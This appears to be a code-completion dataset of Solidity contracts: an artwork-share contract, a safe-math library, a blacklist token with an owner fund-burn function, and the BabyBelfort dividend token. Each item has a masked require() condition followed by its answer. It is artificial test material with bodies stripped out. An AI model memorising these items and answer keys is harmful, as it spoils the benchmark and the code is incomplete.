and pass it onto the next buyer at each sale.
*/
// The price of the shares also follows a special formula in order to maintain
// stability over time, it uses the base price of an artwork (set by the dev
// upon the creation of the artwork) and the total number of shares purchased
// of the artwork. From here you simply treat the number of shares as a percentage
// and add that much on top of your base price, for example;
/*
If the artwork has a base price of 0.01 ETH and there have been 250 shares
purchased so far, it would mean that the base price will gain 250% of it's
value which comes to 0.035 ETH (100% + 250% of the base price).
*/
// The special thing about this is because the shares are intrinsicly linked with
// the price, the dividends from your shares will trend to a constant value instead
// of continually decreasing over time. Because our sequence of shares is a triangular
// number (1 + 2 + 3...) the steady state of any purchased shares will equal the number
// of shares owned (as a percentage) * the artworks base price, for example;
/*
If the artwork has a base price of 0.01 ETH and you own 5 shares, in the long run
you should expect to see 5% * 0.01 ETH = 0.0005 ETH each time the artwork has any
shares purchased. In contrast, if you own 250 shares of the artwork, you should
expect to see 250% * 0.01 ETH = 0.025 ETH each time the artwork has shares bought.
It's good to point out that if you were the first buyer and owned 1 share, the next
buyer is going to be purchasing 2 shares which means you have 1 out of the 3 shares
total and hence you will receive 33% of that sale, at the next step there will be
6 shares total and your 1 share is now worth 16% of the sale price, as mentioned
above though, your earnings upon the purchasing of new shares from your original
1 share will trend towards 1% of the base price over a long period of time.
*/
//
// If you're an artist and are interested in listing some of your works on the site
// and in this contract, please visit the website (https://limeeyes.com/) and contact
// the main developer via the links on the site!
//
contract LimeEyes {
//////////////////////////////////////////////////////////////////////
// Variables, Storage and Events
address private _dev;
struct Artwork {
string _title;
address _owner;
bool _visible;
uint256 _basePrice;
uint256 _purchases;
address[] _shareholders;
mapping (address => bool) _hasShares;
mapping (address => uint256) _shares;
}
Artwork[] private _artworks;
event ArtworkCreated(
uint256 artworkId,
string title,
address owner,
uint256 basePrice);
event ArtworkSharesPurchased(
uint256 artworkId,
string title,
address buyer,
uint256 sharesBought);
//////////////////////////////////////////////////////////////////////
// Constructor and Admin Functions
function LimeEyes() public {
}
modifier onlyDev() {
}
// This function will create a new artwork within the contract,
// the title is changeable later by the dev but the owner and
// basePrice cannot be changed once it's been created.
// The owner of the artwork will start off with 1 share and any
// other addresses may now purchase shares for it.
function createArtwork(string title, address owner, uint256 basePrice) public onlyDev {
}
// Simple renaming function for the artworks, it is good to
// keep in mind that when the website syncs with the blockchain,
// any titles over 32 characters will be clipped.
function renameArtwork(uint256 artworkId, string newTitle) public onlyDev {
require(<FILL_ME>)
Artwork storage artwork = _artworks[artworkId];
artwork._title = newTitle;
}
// This function is only for the website and whether or not
// it displays a certain artwork, any user may still buy shares
// for an invisible artwork although it's not really art unless
// you can view it.
// This is exclusively reserved for copyright cases should any
// artworks be flagged as such.
function toggleArtworkVisibility(uint256 artworkId) public onlyDev {
}
// The two withdrawal functions below are here so that the dev
// can access the dividends of the contract if it owns any
// artworks. As all ETH is transferred straight away upon the
// purchasing of shares, the only ETH left in the contract will
// be from dividends or the rounding errors (although the error
// will only be a few wei each transaction) due to the nature
// of dividing and working with integers.
function withdrawAmount(uint256 amount, address toAddress) public onlyDev {
}
// Used to empty the contracts balance to an address.
function withdrawAll(address toAddress) public onlyDev {
}
//////////////////////////////////////////////////////////////////////
// Main Artwork Share Purchasing Function
// This is the main point of interaction in this contract,
// it will allow a user to purchase shares in an artwork
// and hence with their investment, they pay dividends to
// all the current shareholders and then the user themselves
// will become a shareholder and earn dividends on any future
// purchases of shares.
// See the getArtwork() function for more information on pricing
// and how shares work.
function purchaseSharesOfArtwork(uint256 artworkId) public payable {
}
//////////////////////////////////////////////////////////////////////
// Getters
function _exists(uint256 artworkId) private view returns (bool) {
}
function getArtwork(uint256 artworkId) public view returns (string artworkTitle, address ownerAddress, bool isVisible, uint256[3] artworkPrices, uint256 artworkShares, uint256 artworkPurchases, uint256 artworkShareholders) {
}
function getAllShareholdersOfArtwork(uint256 artworkId) public view returns (address[] shareholders, uint256[] shares) {
}
function getAllArtworks() public view returns (bytes32[] titles, address[] owners, bool[] isVisible, uint256[3][] artworkPrices, uint256[] artworkShares, uint256[] artworkPurchases, uint256[] artworkShareholders) {
}
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
}
//////////////////////////////////////////////////////////////////////
}
| _exists(artworkId) | 18,115 | _exists(artworkId) |
null | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require(<FILL_ME>)
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
}
}
| (z=x+y)>=x==(y>=0) | 18,230 | (z=x+y)>=x==(y>=0) |
null | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require(<FILL_ME>)
}
}
| (z=x-y)<=x==(y>=0) | 18,230 | (z=x-y)<=x==(y>=0) |
"User isn't blacklisted" | contract Blacklist is BurnableToken, Ownable {
mapping (address => bool) public blacklist;
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
function isBlacklisted(address _maker) public view returns (bool) {
}
function addBlackList(address _evilUser) public onlyOwner {
}
function removeBlackList(address _clearedUser) public onlyOwner {
}
function destroyBlackFunds(address _blackListedUser) public onlyOwner {
require(<FILL_ME>)
uint dirtyFunds = balanceOf(_blackListedUser);
_burn(_blackListedUser, dirtyFunds);
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
}
| blacklist[_blackListedUser],"User isn't blacklisted" | 18,252 | blacklist[_blackListedUser] |
null | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
require(<FILL_ME>)
excludedFromDividends[account] = true;
_setBalance(account, 0);
tokenHoldersMap.remove(account);
emit ExcludedFromDividends(account);
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| !excludedFromDividends[account] | 18,265 | !excludedFromDividends[account] |
"BabyBelfort: Trading is already enabled" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
require(<FILL_ME>)
_swapEnabled = true;
tradingEnabled = true;
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| !tradingEnabled,"BabyBelfort: Trading is already enabled" | 18,265 | !tradingEnabled |
"BabyBelfort: Automated market maker pair is already set to that value" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(<FILL_ME>)
automatedMarketMakerPairs[pair] = value;
if(value) {
dividendTracker.excludeFromDividends(pair);
}
emit SetAutomatedMarketMakerPair(pair, value);
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| automatedMarketMakerPairs[pair]!=value,"BabyBelfort: Automated market maker pair is already set to that value" | 18,265 | automatedMarketMakerPairs[pair]!=value |
"BabyBelfort: Account is already excluded from fees" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
require(<FILL_ME>)
_isExcludedFromFees[account] = true;
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
